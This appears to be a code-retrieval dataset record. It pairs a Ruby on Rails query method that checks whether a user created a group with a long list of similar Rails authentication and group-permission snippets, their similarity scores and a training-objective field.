"def atest_ID_25874_user_follows_a_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n follow_a_group\n logout_common\n login_as_user1\n verify_updates\n end",
"def index\n @tutor_groups = TutorGroup.where(academic_session_id: session[:global_academic_session])\n if !@tutor_groups.blank?\n authorize @tutor_groups\n end\n \n end",
"def user_access_control\n bot = Bot.find(params[:id])\n\n if current_user.admin?\n @bot = User.find(bot.account.user_id).admin? ? current_user.bots.find(params[:id]) : bot\n else\n @bot = current_user.bots.find(params[:id])\n end\n\n rescue\n response_access_denied\n end",
"def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end",
"def update\n user_group_ids = params[\"user_groups\"] || []\n user_group_ids.map! { |g| g.to_i }\n @user = User.find_by_id(params[:id])\n current_group_ids = @user.user_group_ids\n\n if params[\"user\"] && params[\"user\"][\"password\"].blank?\n params[\"user\"].delete(:password)\n params[\"user\"].delete(:password_confirmation)\n end\n\n if @user.update_attributes(params[\"user\"])\n is_logged = [email protected]_changes.blank?\n if current_group_ids != user_group_ids\n @user.user_group_ids = user_group_ids\n @user.create_activity :edit_info, owner: current_user, params: {:detail => I18n.t('logs.edit_user', user_name: @user.user_full_name)} if !is_logged\n end\n redirect_to organization_users_path(params[:organization_id])\n return\n else\n @user_groups = UserGroup.get_all_user_groups_in_org(params[:organization_id])\n render :edit_temp\n return\n end\n end",
"def update\n user_group_ids = params[\"user_groups\"] || []\n user_group_ids.map! { |g| g.to_i }\n @user = User.find_by_id(params[:id])\n current_group_ids = @user.user_group_ids\n\n if params[\"user\"] && params[\"user\"][\"password\"].blank?\n params[\"user\"].delete(:password)\n params[\"user\"].delete(:password_confirmation)\n end\n\n if @user.update_attributes(params[\"user\"])\n is_logged = [email protected]_changes.blank?\n if current_group_ids != user_group_ids\n @user.user_group_ids = user_group_ids\n @user.create_activity :edit_info, owner: current_user, params: {:detail => I18n.t('logs.edit_user', user_name: @user.user_full_name)} if !is_logged\n end\n redirect_to organization_users_path(params[:organization_id])\n return\n else\n @user_groups = UserGroup.get_all_user_groups_in_org(params[:organization_id])\n render :edit_temp\n return\n end\n end",
"def create\n groups = [];\n keywords = [];\n\n params[:groups].each do |group|\n g = Group.find_by_facebook_id(group[:id]) || Group.create({\n facebook_id: group[:id],\n name: group[:name]\n })\n groups << g\n end\n\n if params[:keywords]\n params[:keywords].each do |keyword|\n k = Keyword.find_by_name(keyword) || Keyword.create(name: keyword)\n keywords << k\n end\n end\n\n oauth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_APP_ID\"], ENV[\"FACEBOOK_APP_SECRET\"])\n long_token = oauth.exchange_access_token_info(params[:user][:authToken])[\"access_token\"]\n user = User.find_by_email(params[:user][:email]) || User.create(email: params[:user][:email])\n user.update_attributes(auth_token: long_token)\n \n r = user.requests.create\n r.groups << groups\n r.keywords << keywords\n r.save\n\n # FacebookApi.new(r)\n render nothing: true\n end",
"def index\n\n @user = User.find(params[:user_id])\n\n # confirm the user\n ticket = params[:ticket]\n logger.info(\"~~~~~~~~~~~~~~~ticket:\")\n logger.info(ticket)\n @groups = @user.groups\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n\n=begin\n if ticket!= nil\n ticket = ticket.split('-')\n abc = ticket[2]\n logger.info(abc)\n code = abc[20,abc.length-20]\n name = Base64.decode64(code)\n logger.info(\"----------user_id\"+params[:user_id].to_s)\n user = User.find(@user)\n if user.name != name\n\trender :json=>\"unknown user\"\n\n else\n\n @groups = @user.groups\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end\n\n end\n=end\n\n\n end",
"def move_users_to_group(group_id, arr_of_user_ids)\n arr_of_user_ids.each { |id|\n populate_group = HTTParty.post(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/memberships\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" },\n body: {\n user_id: id\n } \n )\n }\nend",
"def auth_param; end",
"def permit\n user = User.find(params[:user_id])\n group = Group.find(params[:id])\n membership = Membership.find_by(user: user, group: group)\n if membership\n membership.update_column(:active, true)\n membership.touch # For showing on dashboard.\n end\n redirect_back fallback_location: '/'\n end",
"def grant_auth(from, to)\n ownusr = User.first(:nickname=>from)\n\n tousr = User.first(:nickname=>to)\n return ret_fail('user not found!') if tousr == nil #the user is not in the database\n\n contact = ownusr.contacts.first(:userid => tousr.id)\n return ret_fail(to+' not in your contact list') if contact==nil #first add the user before accepting auth_request!\n\n\n #check the authorization state\n hiscontact = tousr.contacts.first(:userid => ownusr.id)\n return ret_fail('not in list of '+to) if hiscontact==nil\n return ret_fail(to+' is already authorized') if hiscontact.authgiven =='t'\n return ret_fail('authorization was not requested') if hiscontact.authgiven=='f' #makes no sense to grant before getting a request...\n\n #so state is pending -> lets change to given\n hiscontact.authgiven = 't'\n hiscontact.save\n\n #append notification to queue and save db record\n tousr.messages.create(:data => JSON.generate({'type'=>'auth_grant','from'=>from}))\n\n return ret_success\nend",
"def create_non_admin_user_authenticate\n post '/users', 'username' => 'testuser', 'password' => 'testpassword', 'email_address' => '[email protected]'\n id_user = last_response.json_body['id']\n digest_authorize 'testuser', 'testpassword'\n id_user\nend",
"def authorize_request\n authenticate_with_http_token do |token, options|\n User.find_by(token: token)\n end\n end",
"def respond_with_identity(user,group)\n resp = checkid_request.answer(true, nil, openid_identifier(user))\n resp = add_identity_details(resp,user,group)\n render_response(resp)\n end",
"def group_user_rooster_params\n params.require(:group_user_rooster).permit(:user_id, :isadmin, :group_id)\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"User Not In Group\", 404) and return \\\n unless @group\n end",
"def show\n authorize @group\n end",
"def authorize_read_group!\n unless @group and (@projects.present? or can?(current_user, :read_group, @group))\n if current_user.nil?\n return authenticate_user!\n else\n return render_404\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n token = params[:token]\n\n # use the user login instance and match emails to find current user\n @user_login = UserLogin.where(token: token).take\n @current_user = User.where(email: @user_login.email).take\n\n respond_to do |format|\n if @group.save\n\n # create a new group membership for new group w/ current user as admin\n @new_membership = GroupMembership.create(group_id: @group.id, user_id: @current_user.id, is_admin: true)\n\n # associate new membership with the group and the user\n @group.group_memberships << @new_membership\n @current_user.group_memberships << @new_membership\n\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getUserAllowed_to_edit( entity_id, user_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n return doCurl(\"get\",\"/user/allowed_to_edit\",params)\n end",
"def validate_access_token obj\n if obj[\"access_token\"] == request_details[:access_token]\n User.new(obj)\n else\n false\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do | token , options |\n ApiKey.exists?(access_token: token)\n end\n end",
"def authenticate_with_oauth2(oauth2_id, oauth2_token)\n \n # find user and update access token \n returning(self.find_for_oauth2(oauth2_id)) do |user|\n user.update_attributes(:oauth2_token => oauth2_token) unless user.nil?\n end\n\n end",
"def restrict_access\n\t authenticate_or_request_with_http_token do |token, options|\n\t User.exists?(api_key: token)\n\t end\n\tend",
"def manage_groups\n @other_user = @login_user\n @groups = @login_user.groups\n end",
"def is_creator\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_creator?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def member_user\n if params[:group_id]\n @group = Group.find(params[:group_id])\n else\n @group = Group.find(by_id)\n end\n unless @group.has_member?(current_user)\n flash[:danger] = \"The page you requested is only available to members.\"\n redirect_to @group\n end\n end",
"def grant_request(user_id, access_code)\n self.access_code = access_code\n resolve(user_id, RES_GRANTED)\n end",
"def create\n @user_group = UserGroup.new(params[\"user_group\"])\n permission_ids = params[\"permissions\"]\n org_id = params[:organization_id]\n @user_group.permission_ids = permission_ids\n @user_group.organization_id = org_id\n\n if @user_group.save\n redirect_to organization_user_groups_path\n else\n flash[:error] = t('user_group.exist')\n @permissions = Permission.get_hash_group_permission\n render :new\n end\n\n end",
"def authorize_user\n # stores action past, gathered by params, and stores action into action variable\n action = params['action']\n\n # passes current post and all of its keys and values, via params, inside variable post\n post = Post.find(params[:id])\n\n # if the post.user id is the same as the current user id, then pass all actions as true and\n # exit out. Machine here thinks (if not the same user id), \"I am a different id.\n # and am exiting loop and headed to the next bit of information\"\n return true if post.user == current_user\n\n # The user was not the current user (see above), so what user are you?\n # If the destroy action is generated, the post.user id will need to match a\n # moderator user id of 2 or an admin id of 1, else redirect back to post with directed error\n if action == 'destroy' && (post.user == !current_user || !current_user.admin?)\n flash[:alert] = 'You must be an admin to do that'\n redirect_to [post.topic, post]\n # same idea as destroy (above), except for the 'update' action\n elsif action == 'update' && !(current_user.moderator? || current_user.admin?)\n flash[:alert] = 'You must be an admin or a moderator to do that'\n redirect_to [post.topic, post]\n end\n end",
"def index\n case params[:filter].to_s\n when 'my'\n authorize Group.new(:owner_id => current_user.id), :update?\n @groups = Group.where(:owner_id => current_user.id)\n else\n authorize Group.new, :update?\n @groups = Group.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def group_request_params\n params.require(:group_request).permit(:user_id, :group_id, :pre_auth, :approved, :created_by, :updated_by)\n end",
"def user_access_create\n check_user_access(params[:user_id])\n end",
"def user_access_create\n check_user_access(params[:user_id])\n end",
"def retrieve_user_access_list_for_app(user,app)\n user.groups.where(app_id: app.id)\n end",
"def move_users_to_group(group_id, set_of_user_ids)\n set_of_user_ids.each do |id|\n @url = \"http://#{$canvas_host}/api/v1/groups/#{group_id}/memberships\"\n puts \"@url is #{@url}\"\n \n @payload={'user_id': id}\n puts(\"@payload is #{@payload}\")\n \n @postResponse = HTTParty.post(@url, :body => @payload.to_json, :headers => $header )\n puts(\" POST to move user to group has Response.code #{@postResponse.code} and postResponse is #{@postResponse}\")\n end\nend",
"def create\n group_id = params[:group_id]\n user = User.find(params[:user_id])\n group = Group.find_by_id(group_id)\n if user.is_admin || group.creator == current_user\n role = Role.find_by_rolename('group_admin')\n else\n role = Role.find_by_rolename('user')\n end\n \n is_authorized = false\n\n if group.private\n if user.is_admin || group.creator == current_user\n is_authorized = true\n end\n else\n is_authorized = true\n end \n\n @membership = Membership.create({:group_id => params[:group_id], \n :user_id => user.id,\n :role_id => role.id,\n :authorized => is_authorized})\n if @membership.save\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership, :status => :created } \n format.json { render :json => @membership, :status => :created } \n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def restrict_access\n if session[:user_id]\n if !conversation_params.nil?\n conversation_params[:user_id] = session[:user_id]\n end\n else\n authenticate_or_request_with_http_token do |token, options|\n @user = User.where(:auth_token => token).first()\n if (@user)\n if !conversation_params.nil?\n conversation_params[:user_id] = @user.id\n end\n return true\n end\n false\n end\n end\n end",
"def restrict_create\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\t@token_account = api_token.account if api_token\n\t\tend\n\tend",
"def group_params\n params.require(:group).permit(:name, :group_image, user_ids: [])\n end",
"def oauth_authentication; end",
"def restrict_access\n\t\t# api_key = ApiKey.find_by_access_token(params[:access_token])\n\t\t# head :unauthorized unless api_key\n\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tApiKey.exists?(:access_token => token)\n\t\tend\n\tend",
"def retrieve_user_access_list_for_app(user,app)\n user.groups.where(app_id: app.id)\n end",
"def authorize_request\n @current_user = AuthorizeApiRequest.new(request.headers).call[:user]\n\n # Check if the user record is ban and cancel all actions\n json_response({ error: 'Bannis' }, :unauthorized_request) if @current_user.isBan\n\n # Check achievements in all queries by the user, three times out of ten\n @current_user.check_achievements if rand(10) >= 7\n end",
"def protect_auth\n\t\tapi_key = ApiKey.find_by_access_token(params[:access_token])\n\t\tusr = User.find(api_key.user_id)\n\t\tputs \"IS ROLE AUTHORIZED? #{params[:role] == usr.role}\"\n\t\t#head :unauthorized unless params[:role] == usr.role\n\n\n\t\tmsg = ''\n\t\tif params[:role] == usr.role\n\t\t\tmsg = \"AUTHORIZED\"\n\t\telse\n\t\t\tmsg = \"UNAUTHORIZED\"\n\t\tend\n\t\trespond_to do |format|\n \t\tformat.json { render :json => { :msg => msg } } \t\t\n \t\tend\n\tend",
"def ensure_proper_permission!\n @chatroom = Chatroom.find params[:chatroom_id]\n\n user = @chatroom.user\n study_group = @chatroom.study_group\n\n unless current_user == user || study_group&.has_member?(current_user)\n head 401\n end\n end",
"def valid_auth_group_joined_created\n @group = Group.find_by_id(params[:id])\n if @group\n @joined = @group.users.include?(@user)\n @created = @group.creator == @user\n else\n flash[:warning] = \"Not Exist Group\"\n redirect_to :action => \"index\"\n end\n end",
"def restrict_access\n if session[:user_id]\n if !setting_params.nil?\n setting_params[:user_id] = session[:user_id]\n end\n else\n authenticate_or_request_with_http_token do |token, options|\n @user = User.where(:auth_token => token).first()\n if (@user)\n if !setting_params.nil?\n setting_params[:user_id] = @user.id\n end\n return true\n end\n false\n end\n end\n end",
"def groups_user_params\n params.require(:groups_user).permit(:user_id,:group_id)\n end",
"def authorized?(user, required_groups)\n required_groups.nil? || required_groups.any? do |group|\n robot.auth.user_in_group?(user, group)\n end\n end",
"def authorize_user\n render json: {message: \"Unauthorized\"}, status: 401 unless get_current_user.id == params[:user_id].to_i\n end",
"def form_params\n params.require(:user).permit(:username,{ :group_ids => [] })\n end",
"def userauth_request(username, next_service, auth_method, *others); end",
"def is_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_member?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def group_params\n params.require(:group).permit(:event_id, :user_id)\n end",
"def edit\n if GroupsController.group_owner? current_user.id, params[:id]\n set_group\n else\n respond_to do |format|\n format.html { redirect_to groups_path, alert: \"Can't Edit. You are not the group owner\" }\n format.json { render json: \"Only owners can edit the respective group page\", status: :unauthorized }\n end\n end\n end",
"def isAuthorizedUser\n redirect_to groups_path unless current_user.id == @project.user_id\n end",
"def authorize_for_group(group, actions=Permissions::View)\n authorize_for_user(nil, group, actions)\n end",
"def getUserBy_groupid( group_id)\n params = Hash.new\n params['group_id'] = group_id\n return doCurl(\"get\",\"/user/by_groupid\",params)\n end",
"def authorize_user\n puts \"AUTHORIZE USER\"\n puts \"params[:id] \" + params[:id].to_s\n # render json: { status: 401, message: 'Unauthorized' } unless get_current_user.id == params[:id].to_i\n render json: { status: 401, message: 'Unauthorized' } unless get_current_user\n end",
"def create\n # find or create an auth_grant for a given user\n application = Opro::Oauth::ClientApp.find_by_client_id(params[:client_id])\n auth_grant = Opro::Oauth::AuthGrant.find_or_create_by_user_app(current_user, application)\n\n # add permission changes if there are any\n auth_grant.update_permissions(params[:permissions])\n redirect_to auth_grant.redirect_uri_for(params[:redirect_uri], params[:state])\n end",
"def user_in_group_share?(user, *permissions)\n # check if api status is ok, otherwise exit without checking to prevent UI hanging on repeated calls\n if user.registered_for_firecloud && ApplicationController.firecloud_client.services_available?(FireCloudClient::SAM_SERVICE, FireCloudClient::RAWLS_SERVICE, FireCloudClient::THURLOE_SERVICE)\n group_shares = self.study_shares.keep_if {|share| share.is_group_share?}.select {|share| permissions.include?(share.permission)}.map(&:email)\n # get user's FC groups\n if user.access_token.present?\n client = FireCloudClient.new(user:, project: FireCloudClient::PORTAL_NAMESPACE)\n elsif user.api_access_token.present?\n client = FireCloudClient.new\n client.access_token[:access_token] = user.api_access_token\n else\n false\n end\n begin\n user_groups = client.get_user_groups.map {|g| g['groupEmail']}\n # use native array intersection to determine if any of the user's groups have been shared with this study at the correct permission\n (user_groups & group_shares).any?\n rescue => e\n ErrorTracker.report_exception(e, user, { user_groups: user_groups, study: self.attributes.to_h})\n Rails.logger.error \"Unable to retrieve user groups for #{user.email}: #{e.class.name} -- #{e.message}\"\n false\n end\n else\n false # if user is not registered for firecloud, default to false\n end\n end",
"def set_access_group\n @access_group = AccessGroup.find(params[:id])\n end"
] |
[
"0.63575006",
"0.6049184",
"0.604473",
"0.59778386",
"0.5960033",
"0.5956082",
"0.5898231",
"0.58575445",
"0.5775208",
"0.5761696",
"0.5751896",
"0.57372",
"0.57253647",
"0.5716244",
"0.57036287",
"0.570008",
"0.5693296",
"0.5681172",
"0.56763816",
"0.5674352",
"0.5659018",
"0.56147814",
"0.5607788",
"0.5603947",
"0.56034714",
"0.56015795",
"0.55996484",
"0.55931735",
"0.55881065",
"0.55846816",
"0.5579745",
"0.55763596",
"0.55762565",
"0.5571588",
"0.55634266",
"0.5558372",
"0.555653",
"0.5548373",
"0.55456024",
"0.5528441",
"0.5528021",
"0.5528021",
"0.5527824",
"0.55237865",
"0.5520951",
"0.55077064",
"0.55028343",
"0.54957634",
"0.54956496",
"0.54955405",
"0.54885375",
"0.548754",
"0.5484169",
"0.54826015",
"0.5476457",
"0.5473979",
"0.5470585",
"0.54654473",
"0.54607624",
"0.5459546",
"0.5456639",
"0.5452065",
"0.54440606",
"0.5442028",
"0.5440956",
"0.5437461",
"0.5430999",
"0.5430931",
"0.541504",
"0.5413913",
"0.5413913",
"0.54134125",
"0.54077613",
"0.5401422",
"0.53990847",
"0.5397934",
"0.5395769",
"0.53956187",
"0.5389875",
"0.5387086",
"0.53857154",
"0.538552",
"0.5373521",
"0.53728926",
"0.53669757",
"0.5362593",
"0.5362505",
"0.53588164",
"0.5355424",
"0.53541315",
"0.53499067",
"0.5343612",
"0.53431654",
"0.5341792",
"0.534025",
"0.53400815",
"0.5337718",
"0.5337432",
"0.533072",
"0.5328003"
] |
0.54285604
|
68
|
params: access_token, group_id, user_id auth user's right
|
def is_creator
@user = User.find(params[:user_id])
@group = Group.find(params[:group_id])
if @user.is_creator?(@group)
render json: {result: 1}
else
render json: {result: 0}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"auth\", @user, @group)\n end",
"def user_params\n params.require(:user).permit(:current_user, :group_ids => [])\n end",
"def authorize\n \n token = decode_token(@auth_header)\n data = get_canvas_data(@canvas, token.first[\"user_id\"])\n \n data[\"group_id\"] == token.first[\"group_id\"] && data[\"has_access\"] == \"true\"\n \n rescue StandardError => _\n false\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end",
"def access_params\n params[:access].permit(:user_id)\n end",
"def add_tokens_to_babysitter_user_group\n current_user.add_tokens(@request_group)\n end",
"def show\r\n \r\n\t\t@user = User.find(params[:id])\r\n @microposts = @user.microposts.paginate(page: params[:page])\r\n\r\n \r\n #nur für currentuser...\r\n if @user == current_user\r\n @interests = Array.new\r\n @user.interests.each do |i|\r\n @interests.push(i.hobby)\r\n end\r\n #frage nach aktuellem user ob in gruppe, aber nur wenn user.group == nil...\r\n fbuser = FbGraph::User.fetch(@user.uid, :access_token => @user.oauth_token)\r\n #Teste ob User in FB Gruppe\r\n group = fbuser.groups\r\n @test = group\r\n\r\n # @group_attribute = false\r\n # current_user.group = false\r\n group.each do |x|\r\n if x.name == 'Connectify'\r\n @group_attribute = true\r\n current_user.group = true\r\n break\r\n else\r\n @group_attribute = false\r\n current_user.group = false\r\n end\r\n end\r\n\r\n current_user.save\r\n\r\n else\r\n begin\r\n #user nicht current_user\r\n @exist = UserVisit.where(user_id: @user.id).where(visitor_id: current_user.id).first\r\n if @exist.nil?\r\n @user.user_visits.build(:visitor_id => current_user.id).save!\r\n end\r\n\r\n\r\n #user oauth abgelaufen\r\n if ((Time.now <=> (Time.parse(@user.oauth_expires_at)+(60*60))) == 1)\r\n #do something\r\n \r\n\r\n else #user oauth noch nicht abgelaufen\r\n #Zuerst schauen ob CurrentUser in Gruppe\r\n if current_user.group == false || current_user.group == nil\r\n #frage nach aktuellem user ob in gruppe, aber nur wenn user.group == nil...\r\n fbcurrent_user = FbGraph::User.fetch(current_user.uid, :access_token => current_user.oauth_token)\r\n #Teste ob User in FB Gruppe\r\n group = fbcurrent_user.groups\r\n\r\n group.each do |x|\r\n if x.name == 'Connectify'\r\n current_user.group = true\r\n break\r\n else\r\n current_user.group = false\r\n end\r\n end\r\n\r\n if fbcurrent_user.groups.empty?\r\n current_user.group = false\r\n \r\n end\r\n current_user.save\r\n end\r\n \r\n fbuser = FbGraph::User.fetch(@user.uid, :access_token => @user.oauth_token)\r\n \r\n fbuser.groups.each do |x|\r\n if x.name == 'Connectify'\r\n @user.group = true\r\n break\r\n else\r\n @user.group = false\r\n end\r\n end\r\n\r\n if fbuser.groups.empty?\r\n @user.group = false\r\n end\r\n @user.save\r\n\r\n\r\n end #end user oauth abgelaufen\r\n\r\n rescue FbGraph::Unauthorized => e\r\n case e.message\r\n when /Duplicate status message/\r\n \r\n # handle dup code\r\n when /Error validating access token/\r\n \r\n # handle bad credentials\r\n else\r\n raise e\r\n end\r\n end #end rescue\r\n end # end current oder other user\r\n\r\n\r\n\r\n end",
"def authorize\n params[:access_token] ||= params[:oauth_token]\n super\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def authorize_muser\n puts \"AUTHORIZE USER\"\n puts \"user id #{get_current_muser.id}\"\n puts \"params: #{params[:id]}\"\n render json: { status: 401, message: 'Unauthorized'} unless get_current_muser.id == params[:id].to_i\n end",
"def add_user\n group_id_param = params[:group_id]\n user_id_param = params[:user_id]\n\n if group_id_param.nil? || group_id_param.blank?\n render json: { error: 'group_id not specified.' }, status: :bad_request\n return\n end\n\n if user_id_param.nil? || user_id_param.blank?\n render json: { error: 'user_id not specified.' }, status: :bad_request\n return\n end\n\n user = User.find_by_id(user_id_param)\n if user.nil?\n render json: { error: \"Can't find user #{user_id_param}.\" }, status: :bad_request\n return\n end\n\n group = CanvasSpaces.GroupCategory.groups.find_by_id(group_id_param)\n if group.nil?\n render json: { error: 'No such group found.' }, status: :bad_request\n else\n if @current_user.account.site_admin? ||\n group.leader_id == @current_user.id ||\n @current_user.id == user.id\n\n group.add_user user\n group.save\n\n render json: { message: 'Successfully added user.' }, status: :ok\n else\n # doesn't have access to the group\n render json: { error: \"Can't add user. Not owner or not adding self.\" }, status: :forbidden\n end\n end\n end",
"def send_access_token(user, provider, device_model=\"\", os_version=\"\")\n\n user_token = UserToken.where(\"user_id = ? and provider = ?\", user.id, provider).last\n\n access_token = Tools::Generate.access_token\n refresh_token = Tools::Generate.refresh_token\n\n period = AppConfig.access_token.expired_in.minute\n\n expired_at = (Time.now + period)\n\n if user_token && user_token.token\n user_token.token = access_token\n user_token.refresh_token = refresh_token\n user_token.expired_at = expired_at\n user_token.device_model = device_model\n user_token.os_version = os_version\n user_token.save\n else\n user_token = user.user_tokens.create(token: access_token,\n refresh_token: refresh_token,\n provider: provider,\n expired_at: expired_at,\n device_model: device_model,\n os_version: os_version)\n end\n\n return [access_token, refresh_token] if user_token\n end",
"def restrict_access\n user = User.find_by_authentication_token(params[:access_token])\n head :unauthorized unless user\n end",
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def complete\n group = Group.find_by_uid(params[:group_id])\n\n unless group\n redirect_to app_access_unauthorized_path\n return\n end\n\n # Prepare and return response\n respond_with_identity(current_user,group)\n end",
"def authorize\n @user = User.find_by_id_and_multitrack_token(params[:user_id], params[:token])\n head(@user ? :ok : :forbidden)\n end",
"def token_verify\r\n\r\n #render json: {id: params[\"user\"][\"id\"], params: params}\r\n \r\n user_tmp = User.find(params[:id])\r\n if user_tmp.authentication_token == params[:authentication_token]\r\n $granted = true\r\n render json: false\r\n else\r\n \r\n render json: false\r\n end\r\n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def find_oauth_access_token\n end",
"def do_linkedin_login_2(provider_permissions = {:provider => 1, :permissions => 1})\n \n puts \"---- get_provider_request_token\"\n \n case provider_permissions[:permissions]\n \n when 1 # ----- add groups\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authorize',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_network+r_contactinfo+rw_groups',\n :access_token_path => '/uas/oauth/accessToken' }\n end\n \n consumer = OAuth::Consumer.new(LINKEDIN_API_KEY, LINKEDIN_API_SECRET, configuration)\n \n session[:request_token] = consumer.get_request_token({:oauth_callback => linkedin_auth_accept_url + \"?rk=1\"})\n redirect_to session[:request_token].authorize_url\n \n end",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end",
"def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end",
"def access_token\n end",
"def verify_access_token\n auth_token = request.headers['Authorization']\n user_id = auth_token.split(':').first\n \n if user_id == params[:id]\n @user = User.find(user_id)\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('unauthorized') }, status: 401\n end\n end",
"def access_token\n user_token = @user_token\n goat.transaction do\n if user_token.access_token.nil?\n user_token.access_token = request_token.get_access_token\n if !user_token.access_token.nil?\n goat[user_token.user] = user_token\n end\n end\n end\n @user_token = user_token\n @user_token.access_token\n end",
"def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if [email protected]?\n @group_members = get_members(@user, @group)\n end \n\n end",
"def authorize_request\n\t\tauthenticate_with_http_token do |token, options|\n\t\t\tUser.find_by(token: token)\n\t\tend\n\tend",
"def group_user_params\n params.require(:group_user).permit(:group_id, :user_id)\n end",
"def call\n if user\n {access_token:JsonWebToken.encode(user_id: user.id),\n user_role: user.role}\n end \n end",
"def authorize_request\n authenticate_with_http_token do |token, option|\n User.find_by(token: token)\n end\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"Not In Group\", 404) and return \\\n unless @group\n @g_user = GroupUser.where(group_id: @group.id, user_id: @user.id).first\n end",
"def group_member_params\n params.permit(:users_id, :travel_groups_id)\n end",
"def group_request (v1_requests_params)\n req = Request.find(v1_requests_params[:id])\n @group = Group.where(id: v1_requests_params[:group_id]).first\n user = User.find(req.reciever_id)\n if v1_requests_params[:response]\n @group.users << user\n end\n @group\n end",
"def accessible_user\n @user = User.find(params[:id])\n\n user_accessible = (@user.id == current_user.id) # can edit self\n unless user_accessible\n # check if user is in accessible group\n groups = Group.accessible_by(current_ability)\n @user.groups_users.each do |groups_user|\n if groups.include?(groups_user.group)\n user_accessible = true\n break\n end\n end\n end\n unless user_accessible\n raise CanCan::AccessDenied.new(\"Permission error\")\n end\n end",
"def atest_ID_25874_user_follows_a_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n follow_a_group\n logout_common\n login_as_user1\n verify_updates\n end",
"def index\n @tutor_groups = TutorGroup.where(academic_session_id: session[:global_academic_session])\n if !@tutor_groups.blank?\n authorize @tutor_groups\n end\n \n end",
"def user_access_control\n bot = Bot.find(params[:id])\n\n if current_user.admin?\n @bot = User.find(bot.account.user_id).admin? ? current_user.bots.find(params[:id]) : bot\n else\n @bot = current_user.bots.find(params[:id])\n end\n\n rescue\n response_access_denied\n end",
"def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end",
